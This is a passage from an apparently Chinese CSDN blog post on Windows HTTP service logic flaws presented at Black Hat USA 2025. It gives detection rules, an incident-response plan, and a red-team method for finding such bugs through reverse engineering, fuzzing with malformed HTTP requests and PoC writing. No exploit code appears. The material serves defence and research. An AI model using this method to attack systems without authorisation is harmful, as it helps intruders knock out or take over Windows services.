2. **内核资源泄漏监控**：监控 Event ID 2004（资源耗尽检测），检测内核非分页池内存泄漏事件
3. **HTTP 服务异常监控**：监控 Event ID 15005（HTTP 服务错误），检测 http.sys 的异常请求事件

4.3.3 进程行为检测规则

通过 Sysmon 配置以下规则，监控异常行为：

1. 监控 StorSvc、upnphost、kpssvc 等服务对应的进程的子进程创建行为，正常情况下这些服务不会创建子进程，一旦创建大概率是攻击行为
2. 监控这些进程的文件写入行为，禁止向系统目录、临时目录写入可执行文件
3. 监控这些进程的网络连接行为，禁止向外网发起主动连接

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

4.4 应急响应预案

1. **事件发现**：收到告警后，立即确认攻击源 IP、攻击目标、漏洞类型、攻击时间
2. **事件隔离**：立即断开受影响主机的网络连接，避免攻击扩散到内网其他主机
3. **事件分析**：抓取攻击流量包，分析 Payload 内容，查看主机日志，确认攻击范围与影响面
4. **事件处置**：
    1. 对于 DoS 攻击：重启受影响的服务或系统，安装对应补丁，封禁攻击源 IP
    2. 对于 RCE 攻击：立即隔离主机，排查恶意文件与后门，清除攻击者的权限维持，重装系统或从备份恢复，安装补丁
5. **事后复盘**：更新防护规则与检测规则，对相关人员进行安全培训，排查内网其他主机的漏洞，避免再次发生类似事件

五、漏洞研究方法论：红队怎么挖掘这类逻辑漏洞

本次议题的研究成果，为安全研究人员提供了全新的漏洞挖掘思路：逻辑缺陷类漏洞的挖掘价值，远高于传统的内存破坏漏洞。以下是挖掘这类逻辑漏洞的核心方法论：

5.1 目标筛选与逆向分析

1. **目标筛选**：通过 Dependency Walker、Process Explorer 等工具，筛选出导入了`http.dll`的系统服务与第三方应用，这些都是潜在的漏洞目标
2. **逆向分析**：使用 IDA Pro、Ghidra 等逆向工具，对目标二进制文件进行反编译，重点关注以下内容：
    1. `HttpReceiveHttpRequest`、`HttpSendHttpResponse`、`HttpCancelHttpRequest`的调用位置
    2. 错误码的处理逻辑，尤其是`ERROR_MORE_DATA`、`ERROR_OPERATION_ABORTED`的处理
    3. 请求处理循环的逻辑，是否存在死循环、提前退出的可能
    4. 每个请求是否都有对应的响应或取消操作，是否存在资源泄漏的可能

5.2 逻辑漏洞 Fuzzing 方法

传统的内存 Fuzzing 以崩溃为判断标准，而逻辑漏洞的 Fuzzing 需要关注更多的指标：

1. **Fuzzing 用例构造**：构造畸形的 HTTP 请求，包括超大 Content-Length、异常的 Header、畸形的分块传输、异常的请求方法等
2. **监控指标**：Fuzzing 过程中，重点监控目标服务的以下指标：
    1. CPU 占用率：是否出现持续 100% 占用
    2. 内存占用：是否出现持续增长的内存泄漏

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

3. 句柄数：是否出现句柄数持续增长
4. 响应状态：是否停止响应新的请求

3. **漏洞验证**：当发现异常指标时，通过 Windbg 调试，定位漏洞的根因，编写 PoC 验证漏洞的可利用性

5.3 漏洞上报与补丁验证

1. 漏洞验证完成后，将完整的漏洞报告、PoC 代码、根因分析、影响范围上报给微软 MSRC
2. 等待微软发布补丁后，验证补丁是否完全修复了漏洞，是否存在绕过的可能
3. 公开漏洞研究成果，推动业界的安全防护能力提升

六、总结与攻防启示

本次 Black Hat USA 2025 的议题，彻底揭开了 Windows HTTP 服务逻辑缺陷的盲区，为攻防双方都带来了全新的思考：

对红队而言，逻辑缺陷类漏洞是未来攻防演练的核心武器。这类漏洞利用门槛低、隐蔽性强、影响范围广，无需绕过复杂的系统防护，即可实现致命的攻击效果。红队需要更多地关注底层系统组件的逻辑缺陷，而不是仅仅盯着内存破坏漏洞。

对蓝队而言，传统的基于特征、基于崩溃的防护体系，已经无法应对逻辑缺陷类的攻击。蓝队需要建立全维度的防护体系，从资产梳理、补丁管理、流量检测、主机行为监控、应急响应等多个层面，构建完整的安全防护能力，才能有效应对红队的攻击。

对安全研究人员而言，Windows 系统的底层组件仍然存在大量未被发现的逻辑漏洞。过去业界的研究过度集中在内存破坏漏洞，而逻辑缺陷类漏洞的研究几乎是空白，存在大量的研究机会与价值。

最后，再次提醒：本文仅用于合规的安全研究与防护建设，严禁用于任何未授权的攻击行为，网络不是法外之地，所有违法操作都将承担相应的法律责任。

附录：参考资料与官方链接

1. 2025美国黑帽大会 | 揭示Windows HTTP服务中隐藏的预认证漏洞：https://www.youtube.com/watch?v=CD-1s2uBqmQ
2. CVE-2024-43512 NVD 官方详情：https://nvd.nist.gov/vuln/detail/CVE-2024-43512
3. CVE-2024-43639 微软安全公告：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43639
4. Windows HTTP API 官方开发文档：https://learn.microsoft.com/zh-cn/windows/win32/http/http-start
5. http.sys 内核调试官方指南：https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/debugging-http-issues
6. Cyber Kunlun Lab 官方 GitHub 仓库：https://github.com/CyberKunlunLab

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

7. 微软安全更新指南：https://msrc.microsoft.com/update-guide

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783